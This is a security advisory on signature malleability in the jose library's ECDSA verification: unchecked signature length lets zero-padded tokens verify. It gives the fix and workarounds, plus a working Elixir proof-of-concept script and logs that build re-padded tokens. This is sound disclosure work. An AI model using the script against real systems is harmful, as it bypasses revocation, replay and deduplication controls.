Skip to main content
Menu
Advisories

ECDSA signature length is never validated in verify/4 (signature malleability)

GHSA-44HW-RPW9-MWG4Published Updated GitHub

Description

jose accepts ECDSA (ES256/ES384/ES512) JWS signatures of the wrong length. Anyone holding one valid token can re-encode its signature into many distinct byte strings that all still verify against the same key. This does not let an attacker forge new payloads, but it makes ECDSA signatures malleable and breaks any security control that assumes a token or signature is unique. Severity is low.

Details

The bug is in verify/4 in src/jwk/jose_jwk_kty_ec.erl:275-283. When verifying an ECDSA signature, the function splits the raw signature in half by byte length and turns each half into an integer:

SignatureLen = byte_size(Signature),
{R, S} = split_binary(Signature, (SignatureLen div 2)),
...
crypto:verify(ecdsa, DigestType, Message,
              [crypto:bytes_to_integer(R), crypto:bytes_to_integer(S)], ...)

Two things combine to create the defect:

  1. The split point is derived from the actual signature length (byte_size(Signature) div 2) rather than the canonical size the algorithm requires. The module already knows the correct size — it computes 2 * jws_alg_to_r_s_size(JWSALG) (64 bytes for ES256, 96 for ES384, 132 for ES512) on the signing side — but never enforces it on the verifying side.
  2. crypto:bytes_to_integer/1 ignores leading zero bytes. So <<0, 0, R/binary>> decodes to the same integer as R.

Because of this, an attacker can prepend k leading zero bytes to each of the R and S halves, producing a longer signature that still splits cleanly in half and decodes to the same (r, s) pair. For example, with k = 1 a 66-byte value splits into two 33-byte halves that each decode to the original 32-byte r and s. RFC 7518 §3.4 fixes the signature length and a strict verifier MUST reject anything else; jose accepts them.

The fix is to require byte_size(Signature) =:= 2 * jws_alg_to_r_s_size(JWSALG) before splitting, and return false otherwise, so only canonically-sized R‖S signatures are accepted.

PoC

The attached script (scripts/jose/ecdsa_signature_length_is_never_validated_in_verify_4_signat_2314.exs, embedded below under "Scripts and Logs") demonstrates the malleability through the library's public verification API.

Threat model: an outside attacker holds one valid, signed JWS compact token (header.payload.signature) — exactly what a server hands a client. The attacker does not know the private key and cannot forge new payloads. The only public entry point used is JOSE.JWS.verify/2, the trust boundary a real application relies on.

Walkthrough:

  1. The victim generates a P-256 key and signs a payload with alg = ES256, producing a compact token. The script confirms this honest token verifies: {true, _, _} = JOSE.JWS.verify(jwk, token).
  2. The attacker splits the token on . and base64url-decodes the signature. For ES256 the signature is R ‖ S, each 32 bytes, so it splits at the midpoint into r and s.
  3. For k from 1 to 5, the attacker builds a re-padded signature zeros(k) <> r <> zeros(k) <> s and re-assembles a token with it. Each forged signature is longer than 64 bytes but still splits evenly, and crypto:bytes_to_integer/1 strips the injected zeros, so each half decodes back to the original r and s.
  4. Every forged token is fed back through JOSE.JWS.verify(jwk, t).

The script counts how many distinct signature byte strings verify against the same key. A strict RFC 7518 verifier accepts exactly 1 (the canonical token); jose accepts all five forgeries, so the distinct-verifying-token count is greater than 1 and the script prints a VERIFIED: line reporting the number of re-padded signatures accepted. No private key, special configuration, or forged payload is involved — only a single legitimately issued token.

Impact

This is a signature malleability / non-canonical signature acceptance issue affecting ECDSA-signed JWS tokens (ES256, ES384, ES512) verified with jose. It does not permit forging new payloads or impersonating a signer, because the underlying (r, s) values are unchanged. It does defeat any control that assumes a valid token or its signature is unique — token-revocation-by-hash, replay/idempotency caches, and deduplication logic can all be bypassed by presenting a re-encoded but still-valid token. Anyone using jose to verify ECDSA JWS tokens and relying on signature or token uniqueness for a security decision is affected. The only precondition is possession of one valid token.

Patches

Fixed in 1.11.13. jose_jwk_kty_ec:verify/4 now requires the fixed-length R || S encoding from RFC 7518 Section 3.4 (64 bytes for ES256 and ES256K, 96 bytes for ES384, 132 bytes for ES512) and rejects any other length before converting the halves to integers, so each valid signature has exactly one accepted encoding.

Workarounds

If you cannot upgrade, check the signature length before verifying: decode it with jose_jws:peek_signature/1 / JOSE.JWS.peek_signature/1 and reject the token unless it is exactly the length above for its alg. Independently of this fix, do not key replay, revocation or deduplication checks on raw signature bytes; use a claim such as jti instead.

Scripts and Logs

# Verifies: ECDSA signature length is never validated in `verify/4` (signature malleability)
#
# Threat model: an OUTSIDE attacker holds one valid, signed JWS compact token
# (`header.payload.signature`) — the kind a server hands to a client. The attacker
# does NOT know the private key and cannot forge new payloads. But because
# `jose_jwk_kty_ec:verify/4` splits the signature at `byte_size div 2` and runs each
# half through `crypto:bytes_to_integer/1` (which strips leading zero bytes) WITHOUT
# ever checking the RFC 7518 §3.4 fixed length (64 bytes for ES256), the attacker can
# re-pad the R and S halves with leading zero bytes to produce a DIFFERENT, still-valid
# token that decodes to the same (r, s). We feed both tokens back through the library's
# public verification entry point `JOSE.JWS.verify/2` — the trust boundary a real app
# uses — proving the malformed token is accepted.
#
# Effect measured: uniqueness bypass — count of DISTINCT signature bytes that all verify
# against the same key. A strict verifier accepts exactly 1; a malleable one accepts many.
# Any control keyed on token/signature uniqueness (revoke-by-hash, replay/idempotency
# caches, dedup) is defeated.
#
# This is a correctness/malleability finding, not atom/memory/CPU/RCE DoS, so none of
# those four metrics apply; we report the distinct-token count instead.

Mix.install([{:jose, "1.11.12"}])

# --- Victim side: server generates a key and issues one legitimately signed token. ---
jwk = JOSE.JWK.generate_key({:ec, "P-256"})
payload = %{"sub" => "alice", "amount" => 100}
jws = %{"alg" => "ES256"}

{_meta, token} =
  jwk
  |> JOSE.JWS.sign(JOSE.encode(payload), jws)
  |> JOSE.JWS.compact()

# Sanity: the honest token verifies through the public entry point.
{true, _, _} = JOSE.JWS.verify(jwk, token)

# --- Attacker side: only has the public token string, no private key. ---
[header_b64, payload_b64, sig_b64] = String.split(token, ".")
sig = Base.url_decode64!(sig_b64, padding: false)

# ES256 => R || S, each 32 bytes.
half = div(byte_size(sig), 2)
<<r::binary-size(half), s::binary-size(half)>> = sig

b64 = fn bin -> Base.url_encode64(bin, padding: false) end
retoken = fn new_sig -> Enum.join([header_b64, payload_b64, b64.(new_sig)], ".") end

# Forge distinct tokens by prepending k leading zero bytes to each half.
# bytes_to_integer strips them, so all decode to the same (r, s) and still verify.
forged_tokens =
  for k <- 1..5 do
    zeros = :binary.copy(<<0>>, k)
    retoken.(zeros <> r <> zeros <> s)
  end

# Feed every forged token through the library's PUBLIC verify entry point.
results =
  for t <- forged_tokens do
    case JOSE.JWS.verify(jwk, t) do
      {true, _payload, _jws} -> {:accepted, t}
      other -> {:rejected, other}
    end
  end

accepted = for {:accepted, t} <- results, do: t
distinct = MapSet.new([token | accepted]) |> MapSet.size()

IO.puts("Honest token signature bytes: #{byte_size(sig)}")
IO.puts("Forged tokens attempted:      #{length(forged_tokens)}")
IO.puts("Forged tokens ACCEPTED:       #{length(accepted)}")
IO.puts("Distinct verifying tokens:    #{distinct}  (a strict RFC 7518 verifier => 1)")

if length(accepted) > 0 and distinct > 1 do
  IO.puts("VERIFIED: verify/4 accepts #{length(accepted)} re-padded ECDSA signatures; #{distinct} distinct tokens verify against one key (malleability)")
else
  IO.puts("NOT VERIFIED: no exposed reach from JOSE.JWS.verify/2 to signature malleability")
end

Logs

Honest token signature bytes: 64
Forged tokens attempted:      5
Forged tokens ACCEPTED:       5
Distinct verifying tokens:    6  (a strict RFC 7518 verifier => 1)
VERIFIED: verify/4 accepts 5 re-padded ECDSA signatures; 6 distinct tokens verify against one key (malleability)

Affected versions

References

GitHub · potatosalad/erlang-jose